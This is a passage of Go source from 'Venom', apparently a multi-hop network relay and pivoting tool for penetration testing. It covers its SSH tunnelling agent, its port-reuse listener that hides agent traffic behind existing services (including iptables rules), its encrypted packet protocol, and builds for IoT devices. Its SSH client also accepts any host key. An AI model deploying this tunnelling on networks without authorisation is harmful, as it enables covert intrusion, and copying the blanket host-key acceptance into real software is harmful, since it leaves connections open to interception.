33 | CmdType: protocol.SSHCONNECT,
34 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
35 | DstHashID: packetHeader.SrcHashID,
36 | }
37 |
38 | var auth ssh.AuthMethod
39 | if sshConnectPacketCmd.SshAuthMethod == 1 {
40 | auth = ssh.Password(string(sshConnectPacketCmd.SshAuthData))
41 | } else if sshConnectPacketCmd.SshAuthMethod == 2 {
42 | key, err := ssh.ParsePrivateKey(sshConnectPacketCmd.SshAuthData)
43 | if err != nil {
44 | sshConnectPacketRet.Success = 0
45 | sshConnectPacketRet.Msg = []byte("ssh key error")
46 | sshConnectPacketRet.MsgLen = uint32(len(sshConnectPacketRet.Msg))
47 | adminNode.WritePacket(packetHeaderRet, sshConnectPacketRet)
48 | continue
49 | }
50 | auth = ssh.PublicKeys(key)
51 | }
52 |
53 | config := ssh.ClientConfig{
54 | User: string(sshConnectPacketCmd.SshUser),
55 | Auth: []ssh.AuthMethod{
56 | auth,
57 | },
58 | HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
59 | return nil
60 | },
61 | Timeout: time.Duration(time.Second * TIMEOUT),
62 | }
63 |
64 | sshClient, err := ssh.Dial(
65 | "tcp",
66 | fmt.Sprintf("%s:%d", utils.Uint32ToIp(sshConnectPacketCmd.SshServer).String(), sshConnectPacketCmd.SshPort),
67 | &config,
68 | )
69 |
70 | if err != nil {
71 | sshConnectPacketRet.Success = 0
72 | sshConnectPacketRet.Msg = []byte(fmt.Sprintf("ssh connection error: %s", err))
73 | sshConnectPacketRet.MsgLen = uint32(len(sshConnectPacketRet.Msg))
74 | adminNode.WritePacket(packetHeaderRet, sshConnectPacketRet)
75 | continue
76 | }
77 |
78 | nodeConn, err := sshClient.Dial("tcp", fmt.Sprintf("127.0.0.1:%d", sshConnectPacketCmd.DstPort))
79 |
80 | if err != nil {
81 | sshConnectPacketRet.Success = 0
82 | sshConnectPacketRet.Msg = []byte(fmt.Sprintf("ssh connect to target node error: %s", err))
83 | sshConnectPacketRet.MsgLen = uint32(len(sshConnectPacketRet.Msg))
84 | adminNode.WritePacket(packetHeaderRet, sshConnectPacketRet)
85 | continue
86 | }
87 |
88 | AgentClient(nodeConn)
89 |
90 | sshConnectPacketRet.Success = 1
91 | sshConnectPacketRet.MsgLen = 0
92 | adminNode.WritePacket(packetHeaderRet, sshConnectPacketRet)
93 | }
94 | }
95 |
--------------------------------------------------------------------------------
/agent/dispather/ssh_iot.go:
--------------------------------------------------------------------------------
1 | // +build !386
2 | // +build !amd64
3 |
4 | package dispather
5 |
6 | import (
7 | "github.com/Dliv3/Venom/global"
8 | "github.com/Dliv3/Venom/node"
9 | "github.com/Dliv3/Venom/protocol"
10 | "github.com/Dliv3/Venom/utils"
11 | )
12 |
13 | func handleSshConnectCmd() {
14 | for {
15 | var packetHeader protocol.PacketHeader
16 | var sshConnectPacketCmd protocol.SshConnectPacketCmd
17 |
18 | node.CurrentNode.CommandBuffers[protocol.SSHCONNECT].ReadPacket(&packetHeader, &sshConnectPacketCmd)
19 |
20 | adminNode := node.Nodes[utils.Array32ToUUID(packetHeader.SrcHashID)]
21 |
22 | var sshConnectPacketRet protocol.SshConnectPacketRet
23 |
24 | packetHeaderRet := protocol.PacketHeader{
25 | Separator: global.PROTOCOL_SEPARATOR,
26 | CmdType: protocol.SSHCONNECT,
27 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
28 | DstHashID: packetHeader.SrcHashID,
29 | }
30 |
31 | sshConnectPacketRet.Success = 0
32 | sshConnectPacketRet.Msg = []byte("iot device does not support ssh tunnel.")
33 | sshConnectPacketRet.MsgLen = uint32(len(sshConnectPacketRet.Msg))
34 | adminNode.WritePacket(packetHeaderRet, sshConnectPacketRet)
35 | }
36 | }
37 |
--------------------------------------------------------------------------------
/agent/init/agent_iot.go:
--------------------------------------------------------------------------------
1 | // +build !386
2 | // +build !amd64
3 |
4 | package init
5 |
6 | import (
7 | "fmt"
8 |
9 | "github.com/Dliv3/Venom/agent/cli"
10 | "github.com/Dliv3/Venom/agent/dispather"
11 | "github.com/Dliv3/Venom/netio"
12 | )
13 |
14 | func InitNode() {
15 | if cli.Args.Mode == cli.LISTEN_MODE {
16 | // 监听端口
17 | netio.InitNode(
18 | "listen",
19 | fmt.Sprintf("0.0.0.0:%d", uint16(cli.Args.LocalPort)),
20 | dispather.AgentServer, false, 0)
21 | } else {
22 | // 连接端口
23 | netio.InitNode(
24 | "connect",
25 | fmt.Sprintf("%s:%d", cli.Args.RemoteIP, uint16(cli.Args.RemotePort)),
26 | dispather.AgentClient, false, 0)
27 | }
28 |
29 | select {}
30 | }
31 |
--------------------------------------------------------------------------------
/agent/init/agent_linux.go:
--------------------------------------------------------------------------------
1 | // +build linux
2 | // +build amd64 386
3 |
4 | package init
5 |
6 | import (
7 | "fmt"
8 | "log"
9 |
10 | "github.com/Dliv3/Venom/agent/cli"
11 | "github.com/Dliv3/Venom/agent/dispather"
12 | "github.com/Dliv3/Venom/netio"
13 | "github.com/Dliv3/Venom/utils"
14 | )
15 |
16 | func InitNode() {
17 |
18 | if cli.Args.Mode == cli.LISTEN_MODE {
19 | // 端口复用
20 | if cli.Args.ReusedPort != 0 {
21 | switch cli.Args.PortReuseMethod {
22 | case cli.SOCKET_REUSE_METHOD:
23 | netio.InitNode(
24 | "listen",
25 | fmt.Sprintf("%s:%d", cli.Args.LocalIP, uint16(cli.Args.ReusedPort)),
26 | dispather.AgentServer, true, uint16(cli.Args.ReusedPort))
27 | case cli.IPTABLES_METHOD:
28 | defer utils.DeletePortReuseRules(uint16(cli.Args.LocalPort), uint16(cli.Args.ReusedPort))
29 | err := utils.SetPortReuseRules(uint16(cli.Args.LocalPort), uint16(cli.Args.ReusedPort))
30 | if err != nil {
31 | log.Println("[-]Add iptables rules error:", err)
32 | return
33 | }
34 | netio.InitNode(
35 | "listen",
36 | fmt.Sprintf("0.0.0.0:%d", uint16(cli.Args.LocalPort)),
37 | dispather.AgentServer, true, uint16(cli.Args.ReusedPort))
38 | }
39 | } else {
40 | netio.InitNode(
41 | "listen",
42 | fmt.Sprintf("0.0.0.0:%d", uint16(cli.Args.LocalPort)),
43 | dispather.AgentServer, false, 0)
44 | }
45 | } else {
46 | // 连接端口
47 | netio.InitNode(
48 | "connect",
49 | fmt.Sprintf("%s:%d", cli.Args.RemoteIP, uint16(cli.Args.RemotePort)),
50 | dispather.AgentClient, false, 0)
51 | }
52 |
53 | select {}
54 | }
55 |
--------------------------------------------------------------------------------
/agent/init/agent_others.go:
--------------------------------------------------------------------------------
1 | // +build windows darwin
2 | // +build amd64 386
3 |
4 | package init
5 |
6 | import (
7 | "fmt"
8 |
9 | "github.com/Dliv3/Venom/agent/cli"
10 | "github.com/Dliv3/Venom/agent/dispather"
11 | "github.com/Dliv3/Venom/netio"
12 | )
13 |
14 | func InitNode() {
15 |
16 | if cli.Args.Mode == cli.LISTEN_MODE {
17 | // 监听端口
18 | if cli.Args.ReusedPort != 0 {
19 | netio.InitNode(
20 | "listen",
21 | fmt.Sprintf("%s:%d", cli.Args.LocalIP, uint16(cli.Args.ReusedPort)),
22 | dispather.AgentServer, true, uint16(cli.Args.ReusedPort))
23 | } else {
24 | netio.InitNode(
25 | "listen",
26 | fmt.Sprintf("0.0.0.0:%d", uint16(cli.Args.LocalPort)),
27 | dispather.AgentServer, false, 0)
28 | }
29 | } else {
30 | // 连接端口
31 | netio.InitNode(
32 | "connect",
33 | fmt.Sprintf("%s:%d", cli.Args.RemoteIP, uint16(cli.Args.RemotePort)),
34 | dispather.AgentClient, false, 0)
35 | }
36 |
37 | select {}
38 | }
39 |
--------------------------------------------------------------------------------
/build.sh:
--------------------------------------------------------------------------------
1 | echo "build macos x64 admin & agent..."
2 | CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build -ldflags "-s -w" -o release/admin_macos_x64 admin/admin.go
3 | CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build -ldflags "-s -w" -o release/agent_macos_x64 agent/agent.go
4 |
5 | echo "build linux x64 admin & agent..."
6 | CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -o release/admin_linux_x64 admin/admin.go
7 | CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -o release/agent_linux_x64 agent/agent.go
8 |
9 | echo "build linux x86 admin & agent..."
10 | CGO_ENABLED=0 GOOS=linux GOARCH=386 go build -ldflags "-s -w" -o release/admin_linux_x86 admin/admin.go
11 | CGO_ENABLED=0 GOOS=linux GOARCH=386 go build -ldflags "-s -w" -o release/agent_linux_x86 agent/agent.go
12 |
13 | echo "build windows x86 admin & agent..."
14 | CGO_ENABLED=0 GOOS=windows GOARCH=386 go build -ldflags "-s -w" -o release/admin.exe admin/admin.go
15 | CGO_ENABLED=0 GOOS=windows GOARCH=386 go build -ldflags "-s -w" -o release/agent.exe agent/agent.go
16 |
17 | # examples for iot:
18 | # arm eabi 5
19 | echo "build arm eabi5 agent..."
20 | CGO_ENABLED=0 GOOS=linux GOARCH=arm GOARM=5 go build -ldflags "-s -w" -o release/agent_arm_eabi5 agent/agent.go
21 | # mips 32 little endian
22 | echo "build mipsel agent..."
23 | CGO_ENABLED=0 GOOS=linux GOARCH=mipsle go build -ldflags "-s -w" -o release/agent_mipsel_version1 agent/agent.go
24 |
25 | # a helper script
26 | cp -r scripts release
--------------------------------------------------------------------------------
/crypto/aes.go:
--------------------------------------------------------------------------------
1 | package crypto
2 |
3 | import (
4 | "crypto/aes"
5 | "crypto/cipher"
6 | "crypto/rand"
7 | "io"
8 | )
9 |
10 | var OVERHEAD = aes.BlockSize
11 |
12 | // reference: https://golang.org/src/crypto/cipher/example_test.go
13 | // Special thanks to 00theway for his help. (https://github.com/00theway)
14 |
15 | // Encrypt AES CTR
16 | func Encrypt(plaintext, key []byte) ([]byte, error) {
17 | block, err := aes.NewCipher(key)
18 | if err != nil {
19 | return nil, err
20 | }
21 |
22 | // The IV needs to be unique, but not secure. Therefore it's common to
23 | // include it at the beginning of the ciphertext.
24 | ciphertext := make([]byte, aes.BlockSize+len(plaintext))
25 | iv := ciphertext[:aes.BlockSize]
26 | if _, err := io.ReadFull(rand.Reader, iv); err != nil {
27 | return nil, err
28 | }
29 |
30 | stream := cipher.NewCTR(block, iv)
31 | stream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)
32 | return ciphertext, nil
33 | }
34 |
35 | // Decrypt AES CTR
36 | func Decrypt(ciphertext, key []byte) ([]byte, error) {
37 | // if len(ciphertext) < aes.BlockSize {
38 | // return nil, errors.New("ciphertext too short")
39 | // }
40 |
41 | block, err := aes.NewCipher(key)
42 | if err != nil {
43 | return nil, err
44 | }
45 |
46 | // CTR mode is the same for both encryption and decryption, so we can
47 | // also decrypt that ciphertext with NewCTR
48 | plaintext := make([]byte, len(ciphertext[aes.BlockSize:]))
49 | iv := ciphertext[:aes.BlockSize]
50 | stream := cipher.NewCTR(block, iv)
51 | stream.XORKeyStream(plaintext, ciphertext[aes.BlockSize:])
52 | return plaintext, nil
53 | }
54 |
--------------------------------------------------------------------------------
/crypto/crypto.go:
--------------------------------------------------------------------------------
1 | package crypto
2 |
3 | import (
4 | "github.com/Dliv3/Venom/global"
5 | )
6 |
7 | // InitEncryption generate secret key、protocal separator、protocal feature
8 | func InitEncryption(passwd string) {
9 | if passwd != "" {
10 | global.SECRET_KEY = Md5Raw(passwd)
11 | global.PROTOCOL_SEPARATOR = string(Md5Raw(passwd + global.PROTOCOL_SEPARATOR)[:4])
12 | global.PROTOCOL_FEATURE = string(Md5Raw(passwd + global.PROTOCOL_FEATURE)[:8])
13 | } else {
14 | // 加密算法导致的缓冲区额外开销
15 | OVERHEAD = 0
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/crypto/hash.go:
--------------------------------------------------------------------------------
1 | package crypto
2 |
3 | import (
4 | "crypto/md5"
5 | "crypto/sha256"
6 | "encoding/hex"
7 | )
8 |
9 | // Sha256 Hash
10 | func Sha256(text string) string {
11 | ctx := sha256.New()
12 | ctx.Write([]byte(text))
13 | return hex.EncodeToString(ctx.Sum(nil))
14 | }
15 |
16 | // Md5 Hash
17 | func Md5(text string) string {
18 | ctx := md5.New()
19 | ctx.Write([]byte(text))
20 | return hex.EncodeToString(ctx.Sum(nil))
21 | }
22 |
23 | // Md5 Hash return byte
24 | func Md5Raw(text string) []byte {
25 | ctx := md5.New()
26 | ctx.Write([]byte(text))
27 | return ctx.Sum(nil)
28 | }
29 |
--------------------------------------------------------------------------------
/docs/venom.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dliv3/Venom/2b84e6846992399edf72eb6375825fc9062b2f01/docs/venom.png
--------------------------------------------------------------------------------
/global/global.go:
--------------------------------------------------------------------------------
1 | // +build 386 amd64
2 |
3 | package global
4 |
5 | // 除去PacketHeader之外的部分最大允许使用的内存
6 | // 防止单个数据包占用内存过大
7 | const MAX_PACKET_SIZE = 20480
8 |
9 | // 一次最多可以承受7168个连接
10 | const TCP_MAX_CONNECTION = 1024
11 |
12 | // 命令&数据通道最大缓冲区大小
13 | const BUFFER_SIZE = 1024
14 |
15 | // 协议数据分隔符
16 | var PROTOCOL_SEPARATOR = "VCMD"
17 |
18 | // 协议特征, 用于在端口重用时鉴别
19 | var PROTOCOL_FEATURE = "ABCDEFGH"
20 |
21 | // 密钥
22 | var SECRET_KEY []byte
23 |
--------------------------------------------------------------------------------
/global/global_iot.go:
--------------------------------------------------------------------------------
1 | // +build !386
2 | // +build !amd64
3 |
4 | package global
5 |
6 | // 除去PacketHeader之外的部分最大允许使用的内存
7 | // 防止单个数据包占用内存过大
8 | const MAX_PACKET_SIZE = 128
9 |
10 | // 一次最多可以承受16个连接
11 | const TCP_MAX_CONNECTION = 16
12 |
13 | // 命令&数据通道最大缓冲区大小
14 | const BUFFER_SIZE = 64
15 |
16 | // 协议数据分隔符
17 | var PROTOCOL_SEPARATOR = "VCMD"
18 |
19 | // 协议特征, 用于在端口重用时鉴别
20 | var PROTOCOL_FEATURE = "ABCDEFGH"
21 |
22 | // 密钥
23 | var SECRET_KEY []byte
24 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/Dliv3/Venom
2 |
3 | go 1.13
4 |
5 | require (
6 | github.com/cheggaaa/pb/v3 v3.0.1
7 | github.com/libp2p/go-reuseport v0.0.1
8 | golang.org/x/crypto v0.0.0-20190911031432-227b76d455e7
9 | )
10 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/VividCortex/ewma v1.1.1 h1:MnEK4VOv6n0RSY4vtRe3h11qjxL3+t0B8yOL8iMXdcM=
2 | github.com/VividCortex/ewma v1.1.1/go.mod h1:2Tkkvm3sRDVXaiyucHiACn4cqf7DpdyLvmxzcbUokwA=
3 | github.com/cheggaaa/pb/v3 v3.0.1 h1:m0BngUk2LuSRYdx4fujDKNRXNDpbNCfptPfVT2m6OJY=
4 | github.com/cheggaaa/pb/v3 v3.0.1/go.mod h1:SqqeMF/pMOIu3xgGoxtPYhMNQP258xE4x/XRTYua+KU=
5 | github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
6 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
7 | github.com/fatih/color v1.7.0 h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys=
8 | github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
9 | github.com/libp2p/go-reuseport v0.0.1 h1:7PhkfH73VXfPJYKQ6JwS5I/eVcoyYi9IMNGc6FWpFLw=
10 | github.com/libp2p/go-reuseport v0.0.1/go.mod h1:jn6RmB1ufnQwl0Q1f+YxAj8isJgDCQzaaxIFYDhcYEA=
11 | github.com/mattn/go-colorable v0.1.2 h1:/bC9yWikZXAL9uJdulbSfyVNIR3n3trXl+v8+1sx8mU=
12 | github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
13 | github.com/mattn/go-isatty v0.0.8 h1:HLtExJ+uU2HOZ+wI0Tt5DtUDrx8yhUqDcp7fYERX4CE=
14 | github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
15 | github.com/mattn/go-runewidth v0.0.4 h1:2BvfKmzob6Bmd4YsL0zygOqfdFnK7GR4QL06Do4/p7Y=
16 | github.com/mattn/go-runewidth v0.0.4/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU=
17 | github.com/pkg/errors v0.8.1 h1:iURUrRGxPUNPdy5/HRSm+Yj6okJ6UtLINN0Q9M4+h3I=
18 | github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
19 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
20 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
21 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
22 | github.com/stretchr/testify v1.3.0 h1:TivCn/peBQ7UY8ooIcPgZFpTNSz0Q2U6UrFlUfqbe0Q=
23 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
24 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
25 | golang.org/x/crypto v0.0.0-20190911031432-227b76d455e7 h1:0hQKqeLdqlt5iIwVOBErRisrHJAN57yOiPRQItI20fU=
26 | golang.org/x/crypto v0.0.0-20190911031432-227b76d455e7/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
27 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
28 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
29 | golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
30 | golang.org/x/sys v0.0.0-20190228124157-a34e9553db1e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
31 | golang.org/x/sys v0.0.0-20190412213103-97732733099d h1:+R4KGOnez64A81RvjARKc4UT5/tI9ujCIVX+P5KiHuI=
32 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
33 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
34 |
--------------------------------------------------------------------------------
/netio/init.go:
--------------------------------------------------------------------------------
1 | package netio
2 |
3 | import (
4 | "log"
5 | "net"
6 |
7 | "github.com/Dliv3/Venom/global"
8 | )
9 |
10 | // InitNode 初始化网络连接
11 | // peerNodeID 存储需要通信(socks5/端口转发)的对端节点ID
12 | func InitTCP(tcpType string, tcpService string, peerNodeID string, handlerFunc func(net.Conn, string, chan bool, ...interface{}), args ...interface{}) (err error) {
13 | if tcpType == "connect" {
14 | addr, err := net.ResolveTCPAddr("tcp", tcpService)
15 | if err != nil {
16 | log.Println("[-]ResolveTCPAddr error:", err)
17 | return err
18 | }
19 |
20 | conn, err := net.DialTCP("tcp", nil, addr)
21 | if err != nil {
22 | log.Println("[-]DialTCP error:", err)
23 | return err
24 | }
25 |
26 | // conn.SetKeepAlive(true)
27 |
28 | go handlerFunc(conn, peerNodeID, nil, args)
29 |
30 | return err
31 | } else if tcpType == "listen" {
32 | var err error
33 | var listener net.Listener
34 |
35 | addr, err := net.ResolveTCPAddr("tcp", tcpService)
36 | if err != nil {
37 | log.Println("[-]ResolveTCPAddr error:", err)
38 | return err
39 | }
40 | listener, err = net.ListenTCP("tcp", addr)
41 |
42 | if err != nil {
43 | log.Println("[-]ListenTCP error:", err)
44 | return err
45 | }
46 |
47 | go func() {
48 | c := make(chan bool, global.TCP_MAX_CONNECTION)
49 | for {
50 | c <- true
51 | conn, err := listener.Accept()
52 | if err != nil {
53 | log.Println("[-]listener.Accept error:", err)
54 | // continue
55 | break
56 | }
57 | go handlerFunc(conn, peerNodeID, c, args)
58 | }
59 | }()
60 | return err
61 | }
62 | return INIT_TYPE_ERROR
63 | }
64 |
--------------------------------------------------------------------------------
/netio/init_iot.go:
--------------------------------------------------------------------------------
1 | // +build !386
2 | // +build !amd64
3 |
4 | package netio
5 |
6 | import (
7 | "errors"
8 | "fmt"
9 | "log"
10 | "net"
11 | )
12 |
13 | var INIT_TYPE_ERROR = errors.New("init type error")
14 |
15 | func InitNode(tcpType string, tcpService string, handlerFunc func(net.Conn), portReuse bool, reusedPort uint16) (err error) {
16 | if portReuse {
17 | fmt.Println("iot device does not support port reuse.")
18 | return
19 | }
20 | if tcpType == "connect" {
21 | addr, err := net.ResolveTCPAddr("tcp", tcpService)
22 | if err != nil {
23 | log.Println("[-]ResolveTCPAddr error:", err)
24 | return err
25 | }
26 |
27 | conn, err := net.DialTCP("tcp", nil, addr)
28 | if err != nil {
29 | log.Println("[-]DialTCP error:", err)
30 | return err
31 | }
32 |
33 | conn.SetKeepAlive(true)
34 |
35 | go handlerFunc(conn)
36 |
37 | return nil
38 | } else if tcpType == "listen" {
39 | var err error
40 | var listener net.Listener
41 |
42 | addr, err := net.ResolveTCPAddr("tcp", tcpService)
43 | if err != nil {
44 | log.Println("[-]ResolveTCPAddr error:", err)
45 | return err
46 | }
47 | listener, err = net.ListenTCP("tcp", addr)
48 |
49 | if err != nil {
50 | log.Println("[-]ListenTCP error:", err)
51 | return err
52 | }
53 |
54 | go func() {
55 | for {
56 | conn, err := listener.Accept()
57 | if err != nil {
58 | log.Println("[-]listener.Accept error:", err)
59 | // continue
60 | break
61 | }
62 |
63 | go handlerFunc(conn)
64 | }
65 | }()
66 | return nil
67 | }
68 | return INIT_TYPE_ERROR
69 | }
70 |
--------------------------------------------------------------------------------
/netio/init_others.go:
--------------------------------------------------------------------------------
1 | // +build 386 amd64
2 |
3 | package netio
4 |
5 | import (
6 | "errors"
7 | "fmt"
8 | "log"
9 | "net"
10 | "time"
11 |
12 | "github.com/Dliv3/Venom/global"
13 | reuseport "github.com/libp2p/go-reuseport"
14 | )
15 |
16 | var INIT_TYPE_ERROR = errors.New("init type error")
17 |
18 | const TIMEOUT = 2
19 |
20 | // InitNode 初始化节点间网络连接
21 | // handleFunc 处理net.Conn的函数
22 | // portReuse 是否以端口重用的方式初始化网络连接
23 | // reusedPort 被复用的端口,如果不使用端口复用,直接置零即可
24 | func InitNode(tcpType string, tcpService string, handlerFunc func(net.Conn), portReuse bool, reusedPort uint16) (err error) {
25 | if tcpType == "connect" {
26 | addr, err := net.ResolveTCPAddr("tcp", tcpService)
27 | if err != nil {
28 | log.Println("[-]ResolveTCPAddr error:", err)
29 | return err
30 | }
31 |
32 | conn, err := net.DialTCP("tcp", nil, addr)
33 | if err != nil {
34 | log.Println("[-]DialTCP error:", err)
35 | return err
36 | }
37 |
38 | conn.SetKeepAlive(true)
39 |
40 | go handlerFunc(conn)
41 |
42 | return nil
43 | } else if tcpType == "listen" {
44 | var err error
45 | var listener net.Listener
46 |
47 | if portReuse {
48 | listener, err = reuseport.Listen("tcp", tcpService)
49 | } else {
50 | addr, err := net.ResolveTCPAddr("tcp", tcpService)
51 | if err != nil {
52 | log.Println("[-]ResolveTCPAddr error:", err)
53 | return err
54 | }
55 | listener, err = net.ListenTCP("tcp", addr)
56 | }
57 |
58 | if err != nil {
59 | log.Println("[-]ListenTCP error:", err)
60 | return err
61 | }
62 |
63 | go func() {
64 | for {
65 | conn, err := listener.Accept()
66 | if err != nil {
67 | log.Println("[-]listener.Accept error:", err)
68 | // continue
69 | break
70 | }
71 |
72 | if portReuse {
73 | appProtocol, data, timeout := isAppProtocol(conn)
74 | if appProtocol || (!appProtocol && timeout) {
75 | go func() {
76 | // port := strings.Split(tcpService, ":")[1]
77 | addr, err := net.ResolveTCPAddr("tcp", fmt.Sprintf("127.0.0.1:%d", reusedPort))
78 | if err != nil {
79 | log.Println("[-]ResolveTCPAddr error:", err)
80 | return
81 | }
82 |
83 | server, err := net.DialTCP("tcp", nil, addr)
84 | if err != nil {
85 | log.Println("[-]DialTCP error:", err)
86 | return
87 | }
88 |
89 | Write(server, data)
90 | go NetCopy(conn, server)
91 | NetCopy(server, conn)
92 | }()
93 | continue
94 | }
95 | }
96 | go handlerFunc(conn)
97 | }
98 | }()
99 | return nil
100 | }
101 | return INIT_TYPE_ERROR
102 | }
103 |
104 | // isAppProtocol
105 | // 返回值的第一个参数是标识协议是否为应用协议,判断前8字节是否为Venom发送的ABCDEFGH
106 | // 如果不是则为应用协议,否则为Venom协议
107 | func isAppProtocol(conn net.Conn) (bool, []byte, bool) {
108 | var protocol = make([]byte, len(global.PROTOCOL_FEATURE))
109 |
110 | defer conn.SetReadDeadline(time.Time{})
111 |
112 | conn.SetReadDeadline(time.Now().Add(TIMEOUT * time.Second))
113 |
114 | count, err := Read(conn, protocol)
115 |
116 | timeout := false
117 |
118 | if err != nil {
119 | if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
120 | timeout = true
121 | // mysql etc
122 | // fmt.Println("timeout")
123 | return false, protocol[:count], timeout
124 | } else {
125 | log.Println("[-]Read protocol packet error: ", err)
126 | return false, protocol[:count], timeout
127 | }
128 | }
129 |
130 | if string(protocol) == global.PROTOCOL_FEATURE {
131 | // is node
132 | return false, protocol[:count], timeout
133 | } else {
134 | // http etc
135 | return true, protocol[:count], timeout
136 | }
137 | }
138 |
--------------------------------------------------------------------------------
/netio/netio.go:
--------------------------------------------------------------------------------
1 | package netio
2 |
3 | import (
4 | "errors"
5 | "io"
6 | "log"
7 | "net"
8 | "reflect"
9 |
10 | "github.com/Dliv3/Venom/crypto"
11 | "github.com/Dliv3/Venom/global"
12 | "github.com/Dliv3/Venom/utils"
13 | )
14 |
15 | // WritePacket write packet to node.Conn
16 | func WritePacket(output io.Writer, packet interface{}) error {
17 | t := reflect.TypeOf(packet)
18 | v := reflect.ValueOf(packet)
19 |
20 | if k := t.Kind(); k != reflect.Struct {
21 | return errors.New("second param is not struct")
22 | }
23 |
24 | count := t.NumField()
25 | for i := 0; i < count; i++ {
26 | val := v.Field(i).Interface()
27 |
28 | // type switch
29 | switch value := val.(type) {
30 | case uint16:
31 | _, err := Write(output, utils.Uint16ToBytes(value))
32 | if err != nil {
33 | return err
34 | }
35 | case uint32:
36 | _, err := Write(output, utils.Uint32ToBytes(value))
37 | if err != nil {
38 | return err
39 | }
40 | case uint64:
41 | _, err := Write(output, utils.Uint64ToBytes(value))
42 | if err != nil {
43 | return err
44 | }
45 | case string:
46 | _, err := Write(output, []byte(value))
47 | if err != nil {
48 | return err
49 | }
50 | case []byte:
51 | _, err := Write(output, value)
52 | if err != nil {
53 | return err
54 | }
55 | case [2]byte:
56 | _, err := Write(output, value[0:])
57 | if err != nil {
58 | return err
59 | }
60 | case [4]byte:
61 | _, err := Write(output, value[0:])
62 | if err != nil {
63 | return err
64 | }
65 | case [32]byte:
66 | _, err := Write(output, value[0:])
67 | if err != nil {
68 | return err
69 | }
70 | default:
71 | return errors.New("type unsupport")
72 | }
73 | }
74 | return nil
75 | }
76 |
77 | // ReadPacket read packet from node.Conn
78 | // packet data start from the packet separator
79 | func ReadPacket(input io.Reader, packet interface{}) error {
80 | v := reflect.ValueOf(packet)
81 | t := reflect.TypeOf(packet)
82 |
83 | if v.Kind() == reflect.Ptr && !v.Elem().CanSet() {
84 | return errors.New("packet is not a reflect. Ptr or elem can not be setted")
85 | }
86 |
87 | v = v.Elem()
88 |
89 | t = t.Elem()
90 | count := t.NumField()
91 |
92 | for i := 0; i < count; i++ {
93 | val := v.Field(i).Interface()
94 | f := v.FieldByName(t.Field(i).Name)
95 |
96 | // 类型断言
97 | switch val.(type) {
98 | case string:
99 | // 字段为分隔符,只有分隔符字段可被设置成string类型
100 | // 在处理协议数据包之前,首先读取到协议数据分隔符
101 | // 分隔符为协议结构体的第一个数据
102 | if i == 0 {
103 | separator, err := readUntilSeparator(input, global.PROTOCOL_SEPARATOR)
104 | if err != nil {
105 | return err
106 | }
107 | f.SetString(separator)
108 | }
109 | case uint16:
110 | var buf [2]byte
111 | _, err := Read(input, buf[0:])
112 | if err != nil {
113 | return err
114 | }
115 | f.SetUint(uint64(utils.BytesToUint16(buf[0:])))
116 | case uint32:
117 | var buf [4]byte
118 | _, err := Read(input, buf[0:])
119 | if err != nil {
120 | return err
121 | }
122 | f.SetUint(uint64(utils.BytesToUint32(buf[0:])))
123 | case uint64:
124 | var buf [8]byte
125 | _, err := Read(input, buf[0:])
126 | if err != nil {
127 | return err
128 | }
129 | f.SetUint(uint64(utils.BytesToUint64(buf[0:])))
130 | case []byte:
131 | // 要求, 未指明长度的字段名需要有字段来指定其长度,并长度字段名为该字段名+Len
